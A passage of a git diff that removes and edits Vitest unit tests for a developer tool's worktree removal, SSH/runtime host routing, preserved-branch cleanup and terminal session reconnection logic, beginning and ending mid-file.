-    const store = createTestStore()
-    const worktreeId = 'repo-shared::/same/path'
-    const localWorktree = makeWorktree({
-      id: worktreeId,
-      repoId: 'repo-shared',
-      path: '/same/path',
-      hostId: 'local'
-    })
-    const remoteWorktree = makeWorktree({
-      id: worktreeId,
-      repoId: 'repo-shared',
-      path: '/same/path',
-      hostId: 'ssh:shared-target',
-      runtimeOwnerEnvironmentId: 'shared-hub'
-    })
-    mockApi.worktrees.remove.mockResolvedValueOnce({
-      preservedBranch: { branchName: 'feature/shared', head: 'shared-head' }
-    })
-    runtimeEnvironmentCall.mockImplementation(({ method }: RuntimeEnvironmentCallRequest) =>
-      Promise.resolve({
-        id: `rpc-${method}`,
-        ok: true,
-        result:
-          method === 'repo.hooksCheck'
-            ? { hasHooks: false, hooks: null, mayNeedUpdate: false }
-            : method === 'worktree.rm'
-              ? { preservedBranch: { branchName: 'feature/shared', head: 'shared-head' } }
-              : { deleted: true },
-        _meta: { runtimeId: 'runtime-shared-hub' }
-      })
-    )
-    store.setState({
-      worktreesByRepo: { 'repo-shared': [localWorktree] }
-    } as Partial<AppState>)
-
-    await store.getState().removeWorktree({ id: worktreeId, executionHostId: null })
-    store.setState({
-      worktreesByRepo: { 'repo-shared': [remoteWorktree] }
-    } as Partial<AppState>)
-    await store.getState().removeWorktree({ id: worktreeId, executionHostId: null })
-
-    const result = await store
-      .getState()
-      .forceDeletePreservedBranch(worktreeId, 'feature/shared', 'shared-head', {
-        suppressToast: true
-      })
-
-    // Routing to the active runtime could hit the wrong host's branch, so the delete fails closed.
-    expect(result).toMatchObject({
-      ok: false,
-      error: expect.stringContaining('Multiple preserved branch cleanups')
-    })
-    expect(mockApi.worktrees.forceDeletePreservedBranch).not.toHaveBeenCalled()
-    expect(runtimeEnvironmentCall).not.toHaveBeenCalledWith(
-      expect.objectContaining({ method: 'worktree.forceDeleteBranch' })
-    )
-  })
-
-  it('fails HUB-owned SSH removal closed when the exact id has two HUB owners', async () => {
-    const store = createTestStore()
-    const worktreeId = 'repo-ssh::/srv/same-wt'
-    store.setState({
-      worktreesByRepo: {
-        'repo-ssh': [
-          makeWorktree({
-            id: worktreeId,
-            repoId: 'repo-ssh',
-            hostId: 'ssh:same-private-target',
-            runtimeOwnerEnvironmentId: 'hub-a'
-          }),
-          makeWorktree({
-            id: worktreeId,
-            repoId: 'repo-ssh',
-            hostId: 'ssh:same-private-target',
-            runtimeOwnerEnvironmentId: 'hub-b'
-          })
-        ]
-      }
-    } as Partial<AppState>)
-
-    const result = await store.getState().removeWorktree({ id: worktreeId, executionHostId: null })
-
-    expect(result).toEqual({
-      ok: false,
-      error: 'Workspace identity is ambiguous across hosts. Refresh projects and try again.'
-    })
-    expect(runtimeEnvironmentCall).not.toHaveBeenCalled()
-    expect(mockApi.worktrees.remove).not.toHaveBeenCalled()
-  })
-
-  it.each(['repo_not_found', 'selector_not_found'])(
-    'forgets a mirrored row when the remote returns %s',
-    async (errorCode) => {
-      const store = createTestStore()
-      const wt = makeWorktree({
-        id: 'repo-gone::/path/stale',
-        repoId: 'repo-gone',
-        path: '/path/stale',
-        hostId: 'runtime:env-1'
-      })
-      runtimeEnvironmentCall.mockResolvedValue({
-        id: 'rpc-rm',
-        ok: false,
-        error: { code: errorCode, message: errorCode },
-        _meta: { runtimeId: 'runtime-remote' }
-      })
-      store.setState({
-        settings: { activeRuntimeEnvironmentId: 'env-1' } as never,
-        worktreesByRepo: { 'repo-gone': [wt] }
-      } as Partial<AppState>)
-
-      const result = await store.getState().removeWorktree({ id: wt.id, executionHostId: null })
-
-      expect(result).toEqual({ ok: true })
-      expect(mockApi.worktrees.forgetLocal).toHaveBeenCalledWith({
-        worktreeId: wt.id,
-        hostId: 'runtime:env-1'
-      })
-      expect(store.getState().worktreesByRepo['repo-gone']).toEqual([])
-    }
-  )
-
-  it('does not forget a row that becomes ambiguous while remote removal is in flight', async () => {
-    const store = createTestStore()
-    const worktreeId = 'repo-shared::/path/stale'
-    const original = makeWorktree({
-      id: worktreeId,
-      repoId: 'repo-shared',
-      hostId: 'runtime:env-1'
-    })
-    const rival = makeWorktree({
-      id: worktreeId,
-      repoId: 'repo-shared',
-      hostId: 'runtime:env-2'
-    })
-    runtimeEnvironmentCall.mockImplementationOnce(async () => {
-      store.setState({ worktreesByRepo: { 'repo-shared': [original, rival] } })
-      return {
-        id: 'rpc-rm',
-        ok: false,
-        error: { code: 'selector_not_found', message: 'selector_not_found' },
-        _meta: { runtimeId: 'runtime-remote' }
-      }
-    })
-    store.setState({
-      settings: { activeRuntimeEnvironmentId: 'env-1' } as never,
-      trustedOrcaHooks: { 'repo-shared': { all: { approvedAt: 1 } } },
-      worktreesByRepo: { 'repo-shared': [original] }
-    } as Partial<AppState>)
-
-    const result = await store.getState().removeWorktree({ id: worktreeId, executionHostId: null })
-
-    expect(result).toEqual({
-      ok: false,
-      error: 'selector_not_found'
-    })
-    expect(mockApi.worktrees.forgetLocal).not.toHaveBeenCalled()
-    expect(store.getState().worktreesByRepo['repo-shared']).toEqual([original, rival])
-  })
-
-  it('refuses an unqualified forget-local when same-id rows exist on two hosts', async () => {
-    const store = createTestStore()
-    const worktreeId = 'repo-shared::/path/stale'
-    const local = makeWorktree({
-      id: worktreeId,
-      repoId: 'repo-shared',
-      hostId: 'local'
-    })
-    const remote = makeWorktree({
-      id: worktreeId,
-      repoId: 'repo-shared',
-      hostId: 'runtime:env-1'
-    })
-    store.setState({
-      worktreesByRepo: { 'repo-shared': [local, remote] }
-    } as Partial<AppState>)
-
-    const result = await store
-      .getState()
-      .removeWorktree({ id: worktreeId, executionHostId: null }, false, {
-        mode: 'forget-local'
-      })
-
-    expect(result).toEqual({
-      ok: false,
-      error: 'Workspace identity is ambiguous across hosts. Refresh projects and try again.'
-    })
-    expect(mockApi.worktrees.forgetLocal).not.toHaveBeenCalled()
-    expect(store.getState().worktreesByRepo['repo-shared']).toEqual([local, remote])
-  })
-
-  it('does not forget a mirrored row when diagnostics merely mention a missing code', async () => {
-    const store = createTestStore()
-    const wt = makeWorktree({
-      id: 'repo1::/path/wt1',
-      repoId: 'repo1',
-      path: '/path/wt1',
-      hostId: 'runtime:env-1'
-    })
-    runtimeEnvironmentCall.mockResolvedValue({
-      id: 'rpc-rm',
-      ok: false,
-      error: {
-        code: 'permission_denied',
-        message: 'Access denied while checking a prior repo_not_found diagnostic.'
-      },
-      _meta: { runtimeId: 'runtime-remote' }
-    })
-    store.setState({
-      settings: { activeRuntimeEnvironmentId: 'env-1' } as never,
-      worktreesByRepo: { repo1: [wt] }
-    } as Partial<AppState>)
-
-    const result = await store.getState().removeWorktree({ id: wt.id, executionHostId: null })
-
-    expect(result).toEqual({
-      ok: false,
-      error: 'Access denied while checking a prior repo_not_found diagnostic.'
-    })
-    expect(mockApi.worktrees.forgetLocal).not.toHaveBeenCalled()
-    expect(store.getState().worktreesByRepo.repo1).toEqual([wt])
-  })
-
-  // Ordinary confirmation passes force:true; store must keep it separate from explicit PTY-stop waiver (#11960).
-  it('sends force without the PTY-stop waiver unless a caller asks for it', async () => {
-    const store = createTestStore()
-    const wt = makeWorktree({ id: 'repo1::/w/one', repoId: 'repo1', path: '/w/one' })
-    store.setState({ worktreesByRepo: { repo1: [wt] } } as Partial<AppState>)
-
-    await store.getState().removeWorktree({ id: wt.id, executionHostId: null }, true)
-    expect(mockApi.worktrees.remove).toHaveBeenLastCalledWith(
-      expect.objectContaining({ force: true, allowUnverifiedPtyStop: false })
-    )
-
-    // Reseed a new row so second removal reaches API rather than rereading the first call.
-    const retry = makeWorktree({ id: 'repo1::/w/two', repoId: 'repo1', path: '/w/two' })
-    store.setState({ worktreesByRepo: { repo1: [retry] } } as Partial<AppState>)
-
-    await store.getState().removeWorktree({ id: retry.id, executionHostId: null }, true, {
-      allowUnverifiedPtyStop: true
-    })
-    expect(mockApi.worktrees.remove).toHaveBeenLastCalledWith(
-      expect.objectContaining({ force: true, allowUnverifiedPtyStop: true })
-    )
-  })
-
-  it('removes SSH-owned worktrees through local IPC even when a runtime is focused', async () => {
-    const store = createTestStore()
-    const wt = makeWorktree({
-      id: 'repo-ssh::/home/orca/wt1',
-      repoId: 'repo-ssh',
-      path: '/home/orca/wt1'
-    })
-    store.setState({
-      settings: { activeRuntimeEnvironmentId: 'env-1' } as never,
-      repos: [
-        {
-          id: 'repo-ssh',
-          path: '/home/orca/repo',
-          displayName: 'SSH Repo',
-          badgeColor: '#000',
-          addedAt: 0,
-          connectionId: 'ssh-1'
-        }
-      ],
-      worktreesByRepo: { 'repo-ssh': [wt] }
-    } as Partial<AppState>)
-
-    const result = await store.getState().removeWorktree({ id: wt.id, executionHostId: null })
-
-    expect(result).toEqual({ ok: true })
-    expect(mockApi.worktrees.remove).toHaveBeenCalledWith({
-      worktreeId: wt.id,
-      hostId: 'ssh:ssh-1',
-      force: undefined,
-      // Why (#11960): an ordinary remove never waives the PTY-stop proof.
-      allowUnverifiedPtyStop: false,
-      // Why (#19334): nor a failed archive hook — only the explicit "Delete anyway" retry does.
-      allowFailedArchiveHook: false,
-      skipArchive: false
-    })
-    expect(runtimeEnvironmentCall).not.toHaveBeenCalled()
-    expect(store.getState().worktreesByRepo['repo-ssh']).toEqual([])
-  })
-})
diff --git a/src/renderer/src/store/slices/worktrees/teardown/worktrees-removal-state-cleanup.test.ts b/src/renderer/src/store/slices/worktrees/teardown/worktrees-removal-state-cleanup.test.ts
index 698e413a1e8..7df43ed7040 100644
--- a/src/renderer/src/store/slices/worktrees/teardown/worktrees-removal-state-cleanup.test.ts
+++ b/src/renderer/src/store/slices/worktrees/teardown/worktrees-removal-state-cleanup.test.ts
@@ -10,7 +10,6 @@ import '../create-worktree-slice'
 import { makeWorktree } from '../worktree.test-fixture'
 import {
   createTestStore,
-  mockApi,
   resetRemoteRuntimeMocks,
   resetWorktreeSliceModuleMemory
 } from '../worktrees-slice-test-harness'
@@ -61,86 +60,6 @@ describe('removeWorktree state cleanup', () => {
     expect(hasDismissedHugeRepoWarning(replacementProbe)).toBe(false)
   })
 
-  it('purges the orphaned project that pointed at a destroyed runtime-owned SSH target', async () => {
-    const store = createTestStore()
-    const wt = makeWorktree({ id: 'repo1::/path/wt1', repoId: 'repo1', path: '/path/wt1' })
-    const orphanedSetup: AppState['projectHostSetups'][number] = {
-      id: 'setup-runtime-ssh',
-      hostId: 'ssh:runtime-ssh-orca-1',
-      projectId: 'project-runtime-ssh',
-      repoId: 'repo-runtime-ssh',
-      path: '/runtime/repo',
-      displayName: 'Runtime repo',
-      setupState: 'ready',
-      setupMethod: 'legacy-repo',
-      createdAt: 1,
-      updatedAt: 1
-    }
-    const userSshSetup: AppState['projectHostSetups'][number] = {
-      id: 'setup-user-ssh',
-      hostId: 'ssh:my-server',
-      projectId: 'project-user-ssh',
-      repoId: 'repo-user-ssh',
-      path: '/user/repo',
-      displayName: 'User repo',
-      setupState: 'ready',
-      setupMethod: 'legacy-repo',
-      createdAt: 1,
-      updatedAt: 1
-    }
-    const deleteProjectHostSetup = vi.fn().mockResolvedValue(null)
-    store.setState({
-      worktreesByRepo: { repo1: [wt] },
-      projectHostSetups: [orphanedSetup, userSshSetup],
-      deleteProjectHostSetup
-    })
-    mockApi.ephemeralVm.listRuntimes.mockResolvedValueOnce([
-      {
-        id: 'runtime-1',
-        workspaceId: 'repo1::/path/wt1',
-        cleanupStatus: 'not_started',
-        sshTargetId: 'runtime-ssh-orca-1'
-      }
-    ])
-
-    await store.getState().removeWorktree({ id: 'repo1::/path/wt1', executionHostId: null })
-
-    // Only the orphaned runtime-owned project setup is purged; the user's SSH project is untouched.
-    expect(deleteProjectHostSetup).toHaveBeenCalledWith({
-      setupId: 'setup-runtime-ssh',
-      hostId: 'ssh:runtime-ssh-orca-1'
-    })
-  })
-
-  it('cleans up markdownFrontmatterVisible for preview-only source files in the removed worktree', async () => {
-    const store = createTestStore()
-    const wt = makeWorktree({ id: 'repo1::/path/wt1', repoId: 'repo1', path: '/path/wt1' })
-
-    store.setState({
-      worktreesByRepo: { repo1: [wt] },
-      openFiles: [
-        {
-          id: 'markdown-preview::file-1',
-          worktreeId: 'repo1::/path/wt1',
-          filePath: '/path/wt1/readme.md',
-          relativePath: 'readme.md',
-          language: 'markdown',
-          isDirty: false,
-          markdownPreviewSourceFileId: 'file-1',
-          mode: 'markdown-preview' as const
-        }
-      ],
-      markdownFrontmatterVisible: {
-        'file-1': true,
-        'file-2': true
-      }
-    } as unknown as Partial<AppState>)
-
-    await store.getState().removeWorktree({ id: 'repo1::/path/wt1', executionHostId: null })
-
-    expect(store.getState().markdownFrontmatterVisible).toEqual({ 'file-2': true })
-  })
-
   it('records the sidebar scroll anchor in the same tick it removes the worktree', async () => {
     const store = createTestStore()
     const wt = makeWorktree({ id: 'repo1::/path/wt1', repoId: 'repo1', path: '/path/wt1' })
diff --git a/src/renderer/src/store/slices/worktrees/worktree-slice-contract.ts b/src/renderer/src/store/slices/worktrees/worktree-slice-contract.ts
index 053f537afd0..2a6e68f8f46 100644
--- a/src/renderer/src/store/slices/worktrees/worktree-slice-contract.ts
+++ b/src/renderer/src/store/slices/worktrees/worktree-slice-contract.ts
@@ -186,6 +186,7 @@ export type WorktreeSlice = {
       heldChatAttachments?: PendingWorktreeCreation['heldChatAttachments']
       heldChatSkills?: PendingWorktreeCreation['heldChatSkills']
       chatInputHandedOff?: boolean
+      chatHandedOffAt?: number
     }
   ) => void
   /** Drop pending/active creation; VM cleanup applies to cancellation/dismissal, never successful handoff. */
diff --git a/src/renderer/src/store/slices/worktrees/worktrees-slice-test-harness.ts b/src/renderer/src/store/slices/worktrees/worktrees-slice-test-harness.ts
index 26be26edaa0..1c8a0db95b8 100644
--- a/src/renderer/src/store/slices/worktrees/worktrees-slice-test-harness.ts
+++ b/src/renderer/src/store/slices/worktrees/worktrees-slice-test-harness.ts
@@ -162,6 +162,10 @@ export function createTestStore() {
         shutdownWorktreeBrowsers: vi.fn().mockResolvedValue(undefined),
         deleteManagedBrowserSessionProfile: vi.fn().mockResolvedValue(undefined),
         ptyIdsByTabId: {},
+        terminalLayoutsByTabId: {},
+        lastKnownRelayPtyIdByTabId: {},
+        deferredSshSessionIdsByTabId: {},
+        pendingReconnectPtyIdByTabId: {},
         tabsByWorktree: {},
         tabBarOrderByWorktree: {},
         pendingReconnectTabByWorktree: {},
diff --git a/src/renderer/src/store/terminals/store-create-tab-start-in-main.test.ts b/src/renderer/src/store/terminals/store-create-tab-start-in-main.test.ts
index 46c66ee78c7..7f5a0fb0258 100644
--- a/src/renderer/src/store/terminals/store-create-tab-start-in-main.test.ts
+++ b/src/renderer/src/store/terminals/store-create-tab-start-in-main.test.ts
@@ -130,22 +130,6 @@ describe("a new tab's first terminal, started by main in a layout-owner build",
     expect(store.getState().terminalPaneStartsByPaneKey[PANE_KEY]).toBeUndefined()
   })
 
-  it('starts its own terminal, with its startup, when main does not hold the tab', async () => {
-    const store = storeWithWorktree()
-    store.getState().createTab(WORKTREE, undefined, undefined, {
-      id: TAB,
-      initialLeafId: LEAF,
-      pendingStartup: { command: 'make dev' }
-    })
-    await settle()
-
-    mocks.create!.reject(new Error('host_not_owned'))
-    await settle()
-
-    expect(store.getState().terminalPaneStartsByPaneKey[PANE_KEY]).toBeUndefined()
-    expect(store.getState().pendingStartupByTabId[TAB]).toMatchObject({ command: 'make dev' })
-  })
-
   it('gives no startup back to a tab the user closed before main answered', async () => {
     const store = storeWithWorktree()
     store.getState().createTab(WORKTREE, undefined, undefined, {
diff --git a/src/renderer/src/store/terminals/store-session-terminal-reconnect.test.ts b/src/renderer/src/store/terminals/store-session-terminal-reconnect.test.ts
deleted file mode 100644
index a737c5d6f2d..00000000000
--- a/src/renderer/src/store/terminals/store-session-terminal-reconnect.test.ts
+++ /dev/null
@@ -1,238 +0,0 @@
-import { describe, it, expect, vi, beforeEach } from 'vitest'
-import type * as AgentStatusModule from '@/lib/agent-status/aggregation/worktree-agent-status'
-import { isTerminalLeafId } from '../../../../shared/workspace-layout/stable-pane-id'
-import { createTestStore } from '../testing/app-store-test-fixture'
-import { makeWorktree } from '../slices/worktrees/worktree.test-fixture'
-import { makeTab, makeLayout } from './terminal-tab.test-fixture'
-import { createStoreSessionMockApi } from '../testing/app-store-session-api.test-fixture'
-import '@/components/sidebar/worktree-list/listing/visible-worktrees'
-import { computeVisibleWorktreeIds } from '@/components/sidebar/worktree-list/listing/compute-visible-worktrees'
-import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host'
-
-vi.mock('sonner', () => ({ toast: { info: vi.fn(), success: vi.fn(), error: vi.fn() } }))
-
-vi.mock('@/lib/agent-status/aggregation/worktree-agent-status', async (importOriginal) => {
-  const actual = await importOriginal<typeof AgentStatusModule>()
-  return {
-    ...actual,
-    detectAgentStatusFromTitle: vi.fn().mockReturnValue(null)
-  }
-})
-
-// Mock pty-transport's eager buffer registration
-vi.mock('@/components/terminal-pane/pty-transport/delivery/pty-dispatcher', () => ({
-  registerEagerPtyBuffer: vi.fn().mockReturnValue({ flush: () => '', dispose: () => {} }),
-  ensurePtyDispatcher: vi.fn()
-}))
-
-const layoutOwner = vi.hoisted(() => ({ isMain: false }))
-vi.mock('../../../../shared/layout-owner-switch', () => ({
-  get ORCA_LAYOUT_OWNER_IS_MAIN() {
-    return layoutOwner.isMain
-  }
-}))
-
-const mockApi = createStoreSessionMockApi()
-
-describe.each([false, true])('reconnectPersistedTerminals (layout owner is main: %s)', (isMain) => {
-  let ptyIdCounter: number
-
-  // Enable daemon before hydration or it clears reconnect state and stored PTY IDs.
-  function createDaemonEnabledStore(): ReturnType<typeof createTestStore> {
-    return createTestStore()
-  }
-
-  beforeEach(() => {
-    layoutOwner.isMain = isMain
-    vi.clearAllMocks()
-    ptyIdCounter = 0
-    mockApi.pty.kill = vi.fn().mockResolvedValue(undefined)
-    ;(mockApi.pty as Record<string, unknown>).spawn = vi.fn().mockImplementation(() => {
-      ptyIdCounter++
-      return Promise.resolve({ id: `pty-${ptyIdCounter}` })
-    })
-  })
-
-  it('records daemon session IDs for deferred reattach and sets workspaceSessionReady', async () => {
-    const store = createDaemonEnabledStore()
-    const wt1 = 'repo1::/path/wt1'
-    const wt2 = 'repo1::/path/wt2'
-
-    store.setState({
-      repos: [
-        { id: 'repo1', path: '/repo1', displayName: 'Repo 1', badgeColor: '#000', addedAt: 0 }
-      ],
-      worktreesByRepo: {
-        repo1: [
-          makeWorktree({ id: wt1, repoId: 'repo1', path: '/path/wt1' }),
-          makeWorktree({ id: wt2, repoId: 'repo1', path: '/path/wt2' })
-        ]
-      }
-    })
-
-    store.getState().hydrateWorkspaceSession({
-      activeRepoId: 'repo1',
-      activeWorktreeId: wt1,
-      activeTabId: 'tab1',
-      tabsByWorktree: {
-        [wt1]: [makeTab({ id: 'tab1', worktreeId: wt1, ptyId: 'old-pty-1' })],
-        [wt2]: [makeTab({ id: 'tab2', worktreeId: wt2, ptyId: 'old-pty-2' })]
-      },
-      terminalLayoutsByTabId: { tab1: makeLayout(), tab2: makeLayout() },
-      activeWorktreeIdsOnShutdown: [wt1]
-    })
-
-    expect(store.getState().workspaceSessionReady).toBe(false)
-    expect(store.getState().tabsByWorktree[wt1][0].ptyId).toBeNull()
-    expect(store.getState().tabsByWorktree[wt2][0].ptyId).toBeNull()
-    expect(store.getState().pendingReconnectWorktreeIds).toEqual([wt1])
-
-    await store.getState().reconnectPersistedTerminals()
-
-    const s = store.getState()
-    expect(s.workspaceSessionReady).toBe(true)
-    // Why: spawn is deferred to connectPanePty; the store records daemon session IDs as tab-level ptyIds for it to reattach.
-    expect(s.tabsByWorktree[wt1][0].ptyId).toBe('old-pty-1')
-    expect(s.tabsByWorktree[wt2][0].ptyId).toBeNull()
-    expect(s.ptyIdsByTabId.tab1).toEqual(['old-pty-1'])
-    expect(s.ptyIdsByTabId.tab2).toEqual([])
-    expect(
-      computeVisibleWorktreeIds(s.worktreesByRepo, [wt1, wt2], {
-        filterRepoIds: [],
-        showSleepingWorkspaces: false,
-        tabsByWorktree: s.tabsByWorktree,
-        ptyIdsByTabId: s.ptyIdsByTabId,
-        browserTabsByWorktree: s.browserTabsByWorktree,
-        worktreeIdsWithLiveAgent: new Set(),
-        hideDefaultBranchWorkspace: false,
-        hideAutomationGeneratedWorkspaces: false,
-        hideCliCreatedWorkspaces: false,
-        hideDetachedHeadWorkspaces: false,
-        hideWorkspacesFromOtherDevices: false,
-        pairedDeviceIdsByEnvironment: new Map(),
-        repoMap: new Map(s.repos.map((repo) => [repo.id, repo])),
-        workspaceHostScope: 'all',
-        defaultHostId: LOCAL_EXECUTION_HOST_ID,
-        worktreeLineageById: {}
-      })
-    ).toEqual([wt1])
-    expect(s.pendingReconnectWorktreeIds).toEqual([])
-    expect((mockApi.pty as Record<string, unknown>).spawn).not.toHaveBeenCalled()
-  })
-
-  it('preserves split-pane ptyIdsByLeafId for deferred reattach by connectPanePty', async () => {
-    const store = createDaemonEnabledStore()
-    const wt1 = 'repo1::/path/wt1'
-
-    store.setState({
-      repos: [
-        { id: 'repo1', path: '/repo1', displayName: 'Repo 1', badgeColor: '#000', addedAt: 0 }
-      ],
-      worktreesByRepo: {
-        repo1: [makeWorktree({ id: wt1, repoId: 'repo1', path: '/path/wt1' })]
-      }
-    })
-
-    store.getState().hydrateWorkspaceSession({
-      activeRepoId: 'repo1',
-      activeWorktreeId: wt1,
-      activeTabId: 'tab1',
-      tabsByWorktree: {
-        [wt1]: [makeTab({ id: 'tab1', worktreeId: wt1, ptyId: 'daemon-session-B' })]
-      },
-      terminalLayoutsByTabId: {
-        tab1: {
-          ...makeLayout(),
-          root: {
-            type: 'split',
-            direction: 'vertical',
-            first: { type: 'leaf', leafId: 'pane:1' },
-            second: { type: 'leaf', leafId: 'pane:3' }
-          },
-          ptyIdsByLeafId: { 'pane:1': 'daemon-session-A', 'pane:3': 'daemon-session-B' }
-        }
-      },
-      activeWorktreeIdsOnShutdown: [wt1]
-    })
-
-    await store.getState().reconnectPersistedTerminals()
-
-    const s = store.getState()
-    expect((mockApi.pty as Record<string, unknown>).spawn).not.toHaveBeenCalled()
-    // Why: reconnect restores the tab-level ptyId so getWorktreeStatus() shows active (green dot) before the terminal mounts.
-    expect(s.tabsByWorktree[wt1][0].ptyId).toBe('daemon-session-B')
-    // ptyIdsByLeafId preserved for connectPanePty; legacy pane:* leaves reminted to durable UUID leaves at hydration.
-    const layout = s.terminalLayoutsByTabId['tab1']
-    const bindings = layout.ptyIdsByLeafId ?? {}
-    expect(Object.keys(bindings)).toHaveLength(2)
-    expect(Object.keys(bindings).every(isTerminalLeafId)).toBe(true)
-    expect(Object.keys(bindings)).not.toContain('pane:1')
-    expect(Object.keys(bindings)).not.toContain('pane:3')
-    expect(Object.values(bindings).sort()).toEqual(['daemon-session-A', 'daemon-session-B'])
-    expect(s.workspaceSessionReady).toBe(true)
-  })
-
-  it('does not advertise split-pane-only wake hints as hide-sleeping activity', async () => {
-    const store = createDaemonEnabledStore()
-    const wt1 = 'repo1::/path/wt1'
-
-    store.setState({
-      repos: [
-        { id: 'repo1', path: '/repo1', displayName: 'Repo 1', badgeColor: '#000', addedAt: 0 }
-      ],
-      worktreesByRepo: {
-        repo1: [makeWorktree({ id: wt1, repoId: 'repo1', path: '/path/wt1' })]
-      }
-    })
-
-    store.getState().hydrateWorkspaceSession({
-      activeRepoId: 'repo1',
-      activeWorktreeId: wt1,
-      activeTabId: 'tab1',
-      tabsByWorktree: {
-        [wt1]: [makeTab({ id: 'tab1', worktreeId: wt1, ptyId: null })]
-      },
-      terminalLayoutsByTabId: {
-        tab1: {
-          ...makeLayout(),
-          root: {
-            type: 'split',
-            direction: 'vertical',
-            first: { type: 'leaf', leafId: 'pane:1' },
-            second: { type: 'leaf', leafId: 'pane:3' }
-          },
-          ptyIdsByLeafId: { 'pane:1': 'daemon-session-A', 'pane:3': 'daemon-session-B' }
-        }
-      },
-      activeWorktreeIdsOnShutdown: []
-    })
-
-    expect(store.getState().pendingReconnectWorktreeIds).toEqual([])
-
-    await store.getState().reconnectPersistedTerminals()
-
-    const s = store.getState()
-    expect(s.terminalLayoutsByTabId.tab1?.ptyIdsByLeafId).toBeDefined()
-    expect(s.ptyIdsByTabId.tab1).toEqual([])
-    expect(
-      computeVisibleWorktreeIds(s.worktreesByRepo, [wt1], {
-        filterRepoIds: [],
-        showSleepingWorkspaces: false,
-        tabsByWorktree: s.tabsByWorktree,
-        ptyIdsByTabId: s.ptyIdsByTabId,
-        browserTabsByWorktree: s.browserTabsByWorktree,
-        worktreeIdsWithLiveAgent: new Set(),
-        hideDefaultBranchWorkspace: false,
-        hideAutomationGeneratedWorkspaces: false,
-        hideCliCreatedWorkspaces: false,
-        hideDetachedHeadWorkspaces: false,
-        hideWorkspacesFromOtherDevices: false,
-        pairedDeviceIdsByEnvironment: new Map(),
-        repoMap: new Map(s.repos.map((repo) => [repo.id, repo])),
-        workspaceHostScope: 'all',
-        defaultHostId: LOCAL_EXECUTION_HOST_ID,
-        worktreeLineageById: {}
-      })
-    ).toEqual([])
-  })
-})
diff --git a/src/renderer/src/store/terminals/store-session-workspace-hydration.test.ts b/src/renderer/src/store/terminals/store-session-workspace-hydration.test.ts
deleted file mode 100644
index d8e1856b6db..00000000000
--- a/src/renderer/src/store/terminals/store-session-workspace-hydration.test.ts
+++ /dev/null
@@ -1,250 +0,0 @@
-import { describe, it, expect, vi, beforeEach } from 'vitest'
-import type * as AgentStatusModule from '@/lib/agent-status/aggregation/worktree-agent-status'
-import type { DetectedWorktreeListResult, Worktree } from '../../../../shared/worktree/types'
-import { getDefaultWorkspaceSession } from '../../../../shared/constants'
-import { folderWorkspaceKey } from '../../../../shared/workspace-scope'
-import { createTestStore } from '../testing/app-store-test-fixture'
-import { makeTab, makeLayout } from './terminal-tab.test-fixture'
-import { createStoreSessionMockApi } from '../testing/app-store-session-api.test-fixture'
-import { makeBrowserTab } from '../slices/browser/browser-tab.test-fixture'
-
-vi.mock('sonner', () => ({ toast: { info: vi.fn(), success: vi.fn(), error: vi.fn() } }))
-
-vi.mock('@/lib/agent-status/aggregation/worktree-agent-status', async (importOriginal) => {
-  const actual = await importOriginal<typeof AgentStatusModule>()
-  return {
-    ...actual,
-    detectAgentStatusFromTitle: vi.fn().mockReturnValue(null)
-  }
-})
-
-createStoreSessionMockApi()
-
-function makeDetectedWorktreeResult(
-  repoId: string,
-  worktrees: Worktree[],
-  authoritative = true
-): DetectedWorktreeListResult {
-  return {
-    repoId,
-    authoritative,
-    source: authoritative ? 'git' : 'metadata-fallback',
-    worktrees: worktrees.map((worktree) => ({
-      ...worktree,
-      ownership: 'orca-managed',
-      selectedCheckout: false,
-      visible: true
-    }))
-  }
-}
-
-describe('hydrateWorkspaceSession', () => {
-  beforeEach(() => {
-    vi.clearAllMocks()
-  })
-
-  it('preserves tabs for a known repo after a non-authoritative worktree fetch', () => {
-    // Why (#1158): metadata fallback means the runtime did not prove deletion.
-    const store = createTestStore()
-    const stalledWt = 'repo1::/path/wt1'
-
-    store.setState({
-      repos: [
-        { id: 'repo1', path: '/repo1', displayName: 'Repo 1', badgeColor: '#000', addedAt: 0 }
-      ],
-      worktreesByRepo: { repo1: [] },
-      detectedWorktreesByRepo: {
-        repo1: makeDetectedWorktreeResult('repo1', [], false)
-      }
-    })
-
-    store.getState().hydrateWorkspaceSession({
-      activeRepoId: 'repo1',
-      activeWorktreeId: stalledWt,
-      activeTabId: 'tab1',
-      tabsByWorktree: {
-        [stalledWt]: [makeTab({ id: 'tab1', worktreeId: stalledWt })]
-      },
-      terminalLayoutsByTabId: {
-        tab1: makeLayout()
-      }
-    })
-
-    const s = store.getState()
-    expect(s.tabsByWorktree[stalledWt]).toHaveLength(1)
-    expect(s.terminalLayoutsByTabId['tab1']).toBeDefined()
-    expect(s.activeWorktreeId).toBe(stalledWt)
-    expect(s.activeTabId).toBe('tab1')
-  })
-
-  it('drops tabs when an authoritative scan reports no matching worktrees', () => {
-    // Why: once git answers authoritatively, an empty repo list means deleted local worktrees, not a startup race.
-    const store = createTestStore()
-    const staleWt = 'repo1::/path/deleted'
-
-    store.setState({
-      repos: [
-        { id: 'repo1', path: '/repo1', displayName: 'Repo 1', badgeColor: '#000', addedAt: 0 }
-      ],
-      worktreesByRepo: { repo1: [] },
-      detectedWorktreesByRepo: {
-        repo1: makeDetectedWorktreeResult('repo1', [])
-      }
-    })
-
-    store.getState().hydrateWorkspaceSession({
-      activeRepoId: 'repo1',
-      activeWorktreeId: staleWt,
-      activeTabId: 'tab-stale',
-      tabsByWorktree: {
-        [staleWt]: [makeTab({ id: 'tab-stale', worktreeId: staleWt })]
-      },
-      terminalLayoutsByTabId: {
-        'tab-stale': makeLayout()
-      }
-    })
-
-    const s = store.getState()
-    expect(s.tabsByWorktree[staleWt]).toBeUndefined()
-    expect(s.terminalLayoutsByTabId['tab-stale']).toBeUndefined()
-    expect(s.activeWorktreeId).toBeNull()
-    expect(s.activeTabId).toBeNull()
-  })
-})
-
-describe('restored folder workspace hydration', () => {
-  beforeEach(() => {
-    vi.clearAllMocks()
-  })
-
-  it('keeps runtime folder workspace tabs, files, and browsers before remote catalogs load', () => {
-    const store = createTestStore()
-    const folderKey = folderWorkspaceKey('remote-folder')
-    const groupId = 'group-folder'
-    const editorFileId = '/srv/app/src/App.tsx'
-    const session = {
-      ...getDefaultWorkspaceSession(),
-      activeWorkspaceKey: folderKey,
-      activeWorktreeId: folderKey,
-      activeTabId: 'terminal-folder',
-      tabsByWorktree: {
-        [folderKey]: [makeTab({ id: 'terminal-folder', worktreeId: folderKey })]
-      },
-      openFilesByWorktree: {
-        [folderKey]: [
-          {
-            filePath: editorFileId,
